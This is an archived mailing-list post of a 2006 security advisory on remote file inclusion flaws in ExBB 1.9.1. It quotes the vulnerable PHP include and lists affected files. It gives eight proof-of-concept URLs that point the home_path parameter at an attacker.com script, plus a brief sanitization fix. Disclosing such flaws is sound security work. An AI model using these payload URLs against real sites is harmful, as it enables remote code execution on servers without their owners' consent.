Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Vuln-Dev
[Top] [All Lists]

[ECHO_ADV_46$2006] ExBB v1.9.1 (exbb[home_path]) Multiple Remote File In

Subject: [ECHO_ADV_46$2006] ExBB v1.9.1 (exbb[home_path]) Multiple Remote File Inclusion
Date: 31 Aug 2006 02:46:01 -0000
ECHO.OR.ID
------------------------------------------------------------------------------
[ECHO_ADV_46$2006] ExBB v1.9.1 (exbb[home_path]) Multiple Remote File Inclusion
------------------------------------------------------------------------------

Author          : Ahmad Maulana a.k.a Matdhule
Date Found      : August, 30th 2006
Location        : Indonesia, Jakarta
web             : http://advisories.echo.or.id/adv/adv46-matdhule-2006.txt
Critical Lvl    : Highly critical
Impact          : System access
Where           : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
ExBB 1.9.1

Application     : ExBB
version         : 1.9.1
URL             : http://www.exbb.net

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~

In folder birstday we found vulnerability script birst.php
---------------------------birst.php---------------------------------------
....
<?
  $birstdayconf = array();
  include ($exbb['home_path'].'modules/birstday/data/birstday_conf.php');
  include 
($exbb['home_path'].'modules/birstday/language/'.$exbb['default_lang'].'/lang.php');

...
----------------------------------------------------------

Input passed to the "exbb['home_path']" parameter in birst.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

Also affected files :

./select.php
./profile_show.php
../newusergreatings/pm_newreg.php
../punish/p_error.php
../punish/profile.php
../threadstop/threadstop.php
../userstop/userstop.php

Proof Of Concept:
~~~~~~~~~~~~~~~

http://target.com/[exbb_path]/modules/birstday/birst.php?exbb[home_path]=http://attacker.com/inject.txt?
http://target.com/[exbb_path]/modules/birstday/select.php?exbb[home_path]=http://attacker.com/inject.txt?
http://target.com/[exbb_path]/modules/birstday/profile_show.php?exbb[home_path]=http://attacker.com/inject.txt?
http://target.com/[exbb_path]/modules/newusergreatings/pm_newreg.php?exbb[home_path]=http://attacker.com/inject.txt?
http://target.com/[exbb_path]/modules/punish/p_error.php?exbb[home_path]=http://attacker.com/inject.txt?
http://target.com/[exbb_path]/modules/punish/profile.php?exbb[home_path]=http://attacker.com/inject.txt?
http://target.com/[exbb_path]/modules/threadstop/threadstop.php?exbb[home_path]=http://attacker.com/inject.txt?
http://target.com/[exbb_path]/modules/userstop/userstop.php?exbb[home_path]=http://attacker.com/inject.txt?

Solution:
~~~~~~~
- Sanitize variable $exbb['home_path'] on affected files.

---------------------------------------------------------------------------
Shoutz:
~~~
~ solpot a.k.a chris, J4mbi  H4ck3r thx for the hacking lesson    :)   
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous
~ bius, lapets, ghoz, t4mbun_hacker, NpR, h4ntu, thama, BlueSpy, str0ke
~ newbie_hacker@yahoogroups.com, jasakom_perjuangan@yahoogroups.com
~ Solpotcrew Comunity , #jambihackerlink #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~~~
 
     matdhule[at]gmail[dot]com
     
-------------------------------- [ EOF ]----------------------------------

<Prev in Thread] Current Thread [Next in Thread>
  • [ECHO_ADV_46$2006] ExBB v1.9.1 (exbb[home_path]) Multiple Remote File Inclusion, erdc <=